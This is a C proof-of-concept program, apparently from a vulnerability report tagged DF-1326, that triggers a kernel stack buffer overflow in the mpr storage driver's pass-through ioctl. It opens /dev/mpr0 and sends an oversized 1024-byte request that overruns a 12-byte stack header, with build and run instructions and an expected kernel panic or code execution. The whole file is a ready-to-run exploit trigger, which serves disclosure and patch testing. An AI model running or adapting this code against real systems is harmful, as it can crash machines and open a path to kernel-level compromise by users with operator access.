DF-1326 / poc_mpr_stackoverflow.c
/* * DF-1326 PoC: mpr_user_pass_thru stack buffer overflow * * copyin of user-controlled RequestSize into 12-byte MPI2_REQUEST_HEADER * on the stack BEFORE bounds check. Operator group access. * * Build: cc -O2 -Wall -o poc_mpr_stackoverflow poc_mpr_stackoverflow.c * Run: ./poc_mpr_stackoverflow /dev/mpr0 * Expect: kernel panic (stack canary) or kernel RCE */ #include <fcntl.h> #include <stdint.h> #include <string.h> #include <unistd.h> #include <sys/ioctl.h> /* Minimal mpr_pass_thru_t definition */ #define MPR_PASS_THRU_DIRECTION_NONE 0 typedef struct { uint64_t PtrRequest; uint32_t RequestSize; uint32_t ReplySize; uint64_t PtrData; uint32_t DataSize; uint32_t DataDirection; uint64_t PtrReply; uint32_t MaxSenseBytes; uint32_t DataOutSize; uint64_t PtrDataOut; uint32_t Timeout; uint32_t Reserved; } mpr_pass_thru_t; #define MPTIOCTL_PASS_THRU _IOWR('M', 28, mpr_pass_thru_t) int main(int argc, char **argv) { const char *dev = argc > 1 ? argv[1] : "/dev/mpr0"; int fd = open(dev, O_RDWR); if (fd < 0) { perror("open"); return 1; } /* 1024-byte payload overflows the 12-byte MPI2_REQUEST_HEADER stack variable. * Bytes [12..1023] smash the kernel stack frame. */ uint8_t payload[1024]; memset(payload, 0x41, sizeof(payload)); mpr_pass_thru_t pt; memset(&pt, 0, sizeof(pt)); pt.PtrRequest = (uint64_t)(uintptr_t)payload; pt.RequestSize = sizeof(payload); pt.DataDirection = MPR_PASS_THRU_DIRECTION_NONE; pt.DataSize = 0; if (ioctl(fd, MPTIOCTL_PASS_THRU, &pt) < 0) perror("ioctl"); close(fd); return 0; } |